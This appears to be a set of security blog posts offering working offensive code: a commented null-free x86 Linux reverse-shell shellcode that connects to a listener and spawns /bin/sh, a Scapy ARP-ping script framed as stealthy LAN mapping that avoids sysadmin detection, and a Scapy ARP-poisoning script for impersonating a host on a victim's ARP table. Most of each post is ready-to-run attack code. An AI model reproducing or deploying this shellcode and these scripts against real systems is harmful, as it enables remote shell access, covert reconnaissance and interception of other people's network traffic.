x86 reverse shellcode documented example

Writing a shellcode is hard, documented references are scarce and figuring out how to translate function calls into assembly is a pain. I’m posting here a shellcode I wrote a while back. It’s not a perfect example, it can be shorter and more elegant, but it works and does not contain null bytes – It should get you started if you need help writing your own variety of shellcode.

This is a reverse shell code, it will connect back to 127.0.0.1 on port 12345 hoping to find a listening server and provide a shell.

# x86 linux reverse shellcode example
# aviran.org
 
xor eax, eax        # setting eax,ebx,edx to zero
xor ebx, ebx
xor edx, edx
 
push 0x6            # pushing 6,1,2 to the stack
push 0x1            # these are the values for
push 0x2            # socket(2,1,6)
mov ecx, esp        # set args for call
mov bl, 1           # 1 means socket()
mov al, 0x66        # 0x66 means sys-socket
int 0x80            # call socket()
mov esi, eax        # sockfd
xor ebx, ebx        # ebx = 0
xor ecx, ecx        # ebx = 0
xor edx, edx        # ebx = 0
mov al, 0x66        # socket syscalls
 
push ebx            # padding
push ebx            # padding
mov bl, 0x3         # ebx = 3 = connect()
 
mov dl,0x1          # pushing sockaddr_in into memory
shl edx,24          # IP,Port,AF_INET, cant push word so pushing port and AF_INET together
mov dl,0x7f         # setting edx to be 0x0100007f - 127.0.0.1
push edx
xor edx,edx         # setting edx to be 0x39300002 - port 12345, AF_INET
mov dx,0x3930       # this is done to avoid null bytes
shl edx,16
mov dl,0x2
push edx
 
mov ecx, esp        # saving location of struct
                    # args for connect
push 0x10           # 0x10 size of struct
push ecx            # ecx - pointer to struct
push esi            # esi sockfd
mov ecx, esp       
int 0x80            # call connect
 
xor eax, eax
xor ebx,ebx
xor ecx,ecx
mov ebx,esi         # sockfd
mov al,0x3f         # dup2
mov cl, 0x2         # ecx = 2 = stderr
int 0x80            # call dup2()
 
xor eax, eax
mov al,0x3f
dec cl              # cl = 1 = stdout
int 0x80            # call dup2
 
xor eax, eax
mov al,0x3f
dec cl              # cl = 0 = stdin
int 0x80            # call dup2
 
xor eax,eax         #
xor ecx,ecx         #
xor edx,edx         #
 
mov al,11           # execve
push edx            # push 0 for end of string
push 0x68732f6e     # pushing //bin/sh
push 0x69622f2f
mov ebx, esp        # pointer to string
push edx            # push null
mov edx,esp         # edx is third var, gets null
push ebx            # push var to stack
mov ecx,esp         # set second variable
int 0x80            # make the call

ARP ping with Python and Scapy

Usually we use the ping command to check if a machine exists at the address we ping, if we get a reply (Pong!) we know there’s a machine at that address. The traditional ping works using the ICMP protocol and sends icmp-echo-request (Ping) and icmp-echo-reply (Pong) packets. A machine can choose to ignore the echo requests and don’t reply in order to hide itself.

We can use the ARP protocol which is used to resolve MAC addresses of hosts to ping machine on a local area network. We can use that technique to map a LAN in a less obvious way and hope to avoid detection by a diligent sysadmin.

Here’s a Python script that uses the Scapy library to preform a ARP ping on a single target.

#!/usr/bin/python

# Sends an arp resolution request on broadcast for an IP address
# If reply is received within timeout the host is alive
# aviran.org

from scapy.all import *
import sys

Timeout=2

if len(sys.argv) != 2:
    print "Usage: arp_ping.py IP"
    sys.exit(1)
   
   
answered,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=sys.argv[1]),timeout=Timeout,verbose=False)


if len(answered) > 0:
    print answered[0][0].getlayer(ARP).pdst, "is up"
elif len(unanswered) > 0:
    print unanswered[0].getlayer(ARP).pdst, " is down"

ARP poisoning using Python and Scapy

What is ARP poisoning
Machines on a TCP/IP local area network identify each other and communicate using the physical addresses of their network adapters (MAC address). Every machine keeps a list (cache) of neighboring machines and their MAC addresses, if that list is contaminated, i.e a machine on that list will have the wrong MAC address. All communication to that machine will be directed to the wrong machine.
ARP poisoning is the method of tricking a machine to save data on about an IP address with the wrong MAC address in it’s ARP table.

How the script works
The following script gets two arguments
HOST_TO_ATTACK – The machine we want to poison
HOST_TO_IMPERSONATE – The machine we want the poisoned machine to think we are, so when it want to communicate with that machine, it will actually communicate with us.

The script queries the target machine for it’s mac address by sending an who-has packet to broadcast.
The who-has packet has fake source IP address coupled with the attacker MAC address.
When the target gets the who-has packet the target will store the false IP and MAC address data in it’s ARP table.

#!/usr/bin/python

# Python arp poison example script
# Written by aviran
# visit for more details aviran.org

from scapy.all import *
import sys

def get_mac_address():
	my_macs = [get_if_hwaddr(i) for i in get_if_list()]
	for mac in my_macs:
		if(mac != "00:00:00:00:00:00"):
			return mac
Timeout=2

if len(sys.argv) != 3:
    print "Usage: arp_poison.py HOST_TO_ATTACK HOST_TO_IMPERSONATE"
    sys.exit(1)

	
my_mac = get_mac_address()
if not my_mac:
	print "Cant get local mac address, quitting"
	sys.exit(1)

packet = Ether()/ARP(op="who-has",hwsrc=my_mac,psrc=sys.argv[2],pdst=sys.argv[1])

sendp(packet)